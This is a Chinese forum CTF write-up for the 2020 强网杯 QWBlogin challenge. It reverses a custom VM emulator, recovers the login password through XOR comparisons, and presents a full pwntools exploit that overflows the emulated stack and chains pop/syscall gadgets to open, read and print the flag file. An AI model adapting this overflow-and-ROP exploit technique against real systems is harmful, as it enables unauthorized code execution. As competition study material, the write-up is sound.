首页
社区
课程
招聘
2020-强网杯-QWBlogin
2020-8-24 21:41 7223

2020-强网杯-QWBlogin

2020-8-24 21:41
7223

2020-强网杯-QWBlogin

两天只做了一道题,一道题目逆向逆了两天,还是对于程序的理解能力有欠缺。

 

贴一下数据结构

00000000 VM              struc ; (sizeof=0xD0, mappedto_20)
00000000 rax_            dq ?
00000008 rdi_            dq ?
00000010 rsi_            dq ?
00000018 rdx_            dq ?
00000020 r4              dq ?
00000028 r5              dq ?
00000030 r6              dq ?
00000038 r7_             dq ?
00000040 r8_             dq ?
00000048 r9_             dq ?
00000050 r10_            dq ?
00000058 r11_            dq ?
00000060 r12_            dq ?
00000068 r13_            dq ?
00000070 r14_            dq ?
00000078 r15_            dq ?
00000080 stack_esp       dq ?
00000088 r17             dq ?
00000090 rip_            dq ?
00000098 r19             dq ?
000000A0 offset_max      dq ?
000000A8 code            dq ?
000000B0 load_length     dq ?
000000B8 load_area       dq ?
000000C0 stack_ebp       dq ?
000000C8 stack           dq ?
000000D0 VM              ends

然后说一下思路:

 

先找password,前三次每次输入输入一个字符,第四次输入0x20长度字符串,0x20长度字符串按照8个一组的长度,分四次进行比对,按照比对条件结合异或操作求出passwd,第五次输入可以控制模拟的stack区域,可控长度为0x800操作,其中ret操作可以将stack+0x108赋值给模拟rip指针,至此我们可以控制程序流;然后是第二部分,我们需要找到test.bin读取到内存中的指令中控制对应的rax rdi rsi rdx部分寄存器在code段的偏移,以及syscall指令的偏移,找到之后可以进行orw得到flag;

 

举例:我们控制了stack区域,所以我们需要找到pop ,rax ; ret 这种指令,进而可以持续控制执行我们制定的指令。

 

自己逆向一下吧

#https://github.com/matrix1001/welpwn
from PwnContext import *

try:
    from IPython import embed as ipy
except ImportError:
    print ('IPython not installed.')

if __name__ == '__main__':    
    #ctx.binary = './emulator'
    ctx = process(argv=['./emulator','./test.bin'])
    #ctx = remote('47.94.20.173',32142)
    #ctx.io = p    
    context.terminal = ['tmux', 'splitw', '-h']
    context.log_level = 'debug'
    # functions for quick script
    s       = lambda data               :ctx.send(str(data))        #in case that data is an int
    sa      = lambda delim,data         :ctx.sendafter(str(delim), str(data)) 
    sl      = lambda data               :ctx.sendline(str(data)) 
    sla     = lambda delim,data         :ctx.sendlineafter(str(delim), str(data)) 
    r       = lambda numb=4096          :ctx.recv(numb)
    ru      = lambda delims, drop=True  :ctx.recvuntil(delims, drop)
    irt     = lambda                    :ctx.interactive()
    rs      = lambda *args, **kwargs    :ctx.start(*args, **kwargs)
    dbg     = lambda gs='', **kwargs    :ctx.debug(gdbscript=gs, **kwargs)
    # misc functions
    uu32    = lambda data   :u32(data.ljust(4, '\0'))
    uu64    = lambda data   :u64(data.ljust(8, '\0'))


    #ctx.custom_lib_dir = '/home/iddm/glibc-all-in-one/libs/2.27-3ubuntu1_amd64'
    #ctx.remote = ('172.16.9.21', 9006)
    #ctx.remote_libc = './libc.so'
    #ctx.debug_remote_libc = True
    '''
    ctx.symbols = {
        'node':0x2022a0,
    }
    '''
    #ctx.breakpoints = []#menu

    def lg(s,addr):
        print('\033[1;31;40m%20s-->0x%x\033[0m'%(s,addr))

    #def add(size):

    #def delete(idx):

    #def show(idx):

    #def edit():


    #rs()
    #rs('remote')
    '''
    b * 0x555555565643
    b * 0x5555555656d3
    b * 0x55555555536d
    b * 0x555555555294
    b * 0x555555554cbf
        b * 0x555555555294
    b * 0x555555563395
    b * 0x5555555656d3  #    b * 0x55555556538c
    '''
    mmm = '''
    b * 0x555555555294
    b * 0x555555563395
    b * 0x5555555656d3
    set $node=0x555555768010
    set $offset=$node+8*18
    set $code=0x00005555557680f0
    set $load=0x0000555555769100
    set $bss = 0x555555767010
    '''
    # 0x10240740dc179b8a
    #gdb.attach(ctx,mmm)#,'b * 0x555555565e6c'
    sl("QWQ"+p64(0x10240740dc179b8a ^ 0x427234129827abcd)+p64(0x213a22705e70edfa^0x127412341241dead)+p64(0xa75ae10820d2b377^0x8634965812abc123)+p64(0x123216781236789a^0x5d75593f5d7137dd))
    ru('PWNITNOW!GOGO!')
    gdb.attach(ctx,mmm)
    #s('a'*0x500)
    '''
    payload = ""
    for i in range(500-8):
        payload += chr(i%255)
    payload = 'a'*0x100 + p64(0) *2
    '''
    pop_rax = 0x2f5
    pop_rdi = 0x377
    pop_rsi = 0x45c
    pop_rdx = 0x4e1
    syscall = 0x5b1
    syscall2 = 0x6ed
    buffer = 0x602000
    payload = ""
    payload +=  p64(pop_rax) + p64(1) + p64(pop_rdi) + p64(0) + p64(pop_rsi) + p64(0) + p64(pop_rdx) + p64(0x10) + p64(syscall)
    payload +=  p64(pop_rax) + p64(0) + p64(pop_rdi) + p64(0) + p64(pop_rsi) + p64(0) + p64(syscall2)
    payload += p64(pop_rdi) + p64(4) + p64(pop_rsi) + p64(0) + p64(pop_rdx) + p64(0x40) + p64(pop_rax) + p64(1) + p64(syscall)
    payload += p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(0) + p64(pop_rdx) + p64(0x40) + p64(pop_rax) + p64(2) + p64(syscall)
    payload = 'a'*0x108 + payload
    #payload = payload.ljust(0x800,'\0')
    #payload.ljust(0x)
    sl(payload)
    #raw_input()
    sleep(5)
    sl('./flag\0')
    irt()

[培训]二进制漏洞攻防(第3期);满10人开班;模糊测试与工具使用二次开发;网络协议漏洞挖掘;Linux内核漏洞挖掘与利用;AOSP漏洞挖掘与利用;代码审计。

最后于 2020-8-28 10:40 被Seclusion编辑 ,原因:
上传的附件:
收藏
点赞1
打赏
分享
最新回复 (2)
雪    币: 19586
活跃值: (60193)
能力值: (RANK:125 )
在线值:
发帖
回帖
粉丝
Editor 2020-8-25 10:55
2
0
附件能上传一份到论坛?
雪    币: 41
活跃值: (2220)
能力值: ( LV9,RANK:260 )
在线值:
发帖
回帖
粉丝
Seclusion 4 2020-8-28 10:41
3
0
Editor 附件能上传一份到论坛?
已上传
游客
登录 | 注册 方可回帖
返回